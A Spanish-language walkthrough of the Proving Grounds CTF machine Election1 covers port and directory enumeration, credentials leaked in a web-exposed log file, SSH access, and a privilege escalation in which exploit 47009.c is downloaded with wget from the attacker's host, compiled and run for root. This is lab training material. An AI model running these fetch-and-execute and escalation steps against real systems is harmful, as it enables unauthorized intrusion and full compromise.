🟠Election1

Write-up de la máquina Election1 de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos enumerando que puertos tiene abiertos la máquina Election1.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.163.211

La máquina Election1 tiene dos puertos abiertos: 22 y 80. Vamos a escanear estos puertos de manera profunda.

nmap -p22,80 -Pn -n -sVC -vvv 192.168.163.211 

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 7.6

  • Puerto 80 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

La máquina Election1 está ejecutando un servidor Web en el puerto 80. Vamos a ver su contenido en el navegador.

De resultado obtenemos la página por defecto de un servidor Apache.

Continuamos enumerando directorios y archivos interesantes en el sitio Web.

feroxbuster -u http://192.168.163.211 -s200,301 -x html,txt,php -n

Hay tres resultados interesantes:

  • Directorio /phpmyadmin

  • Directorio /election

  • Archivo robots.txt

Comenzamos viendo el contenido de /phpmyadmin.

Intentamos varios nombres de usuario y contraseñas de bases de datos predeterminados para iniciar sesión en phpMyAdmin, pero ninguno de ellos funciona aquí. Entonces, abrimos el archivo robots.txt para ver si contiene información útil. La salida de robots.txt se puede observar en la siguiente captura de pantalla:

Como podemos observar en la captura de pantalla anterior, presenta algunos nombres, por lo que suponemos que podrían ser nombres de directorios o nombres de usuarios del sistema.

Abrimos el directorio /election.

Revisamos el sitio web, pero no encontramos ninguna información interesante. Luego de dedicarle un tiempo, decidimos nuevamente recurrir a la utilidad dirsearch para identificar archivos y directorios ocultos. La salida del dirsearch se puede observar en la siguiente captura de pantalla.

dirsearch -u http://192.168.163.211/election -i200,301 -e txt,html,php

Obtenemos un resultado que puede ser interesante. Vamos a ver el contenido del directorio /election/admin/logs/ en el navegador.

Descargamos el archivo system.log en nuestra máquina y vemos su contenido.

Hasta ahora, hemos completado la enumeración inicial y hemos obtenido un nombre de usuario y una contraseña en el archivo de registros. También hemos identificado tres formas diferentes de iniciar sesión. La primera es el puerto SSH, la segunda es phpMyAdmin y la tercera es la página de inicio de sesión del administrador electoral. En el siguiente paso, intentaremos usar estas credenciales para obtener acceso.

Explotación

Como podemos observar en la enumeración inicial, contamos con tres métodos diferentes de inicio de sesión en nuestra máquina objetivo. Podría tratarse de la contraseña del administrador del sitio web, de la contraseña de PhpMyAdmin o de las credenciales para iniciar sesión a través de SSH. Intentamos esta contraseña en ambos inicios de sesión, pero parece que no funciona. Después, probamos este nombre de usuario y contraseña para el inicio de sesión SSH, lo cual se puede apreciar en la siguiente captura de pantalla.

Obtenemos acceso al sistema como usuario "love". Enumeramos el contenido del directorio de este usuario y encontramos la flag local.txt.

Elevación de privilegios

Ejecutamos el siguiente comando para verificar los binarios a los que tenemos acceso. Encontramos un binario raro, buscamos exploits relacionados con él y encontramos este exploit.

Para enviar el exploit a la máquina víctima creamos un servidor HTTP con Python en nuestra máquina de ataque.

python2 -m SimpleHTTPServer 80

En la máquina objetivo ejecutamos:

wget 192.168.45.5:80/47009.c (enviar el exploit de nuestra máquina al objetivo)
gcc 47009.c -o exploit (compilamos el exploit)
./exploit (ejecutamos el exploit)

Tras ejecutar estos comandos, debemos obtener conexión a la máquina objetivo con privilegios de usuario "root".

Solo quedará buscar la flag proof.txt

Y ya tendriamos resuelto el CTF Election1 de la plataforma Proving Grounds.

Last updated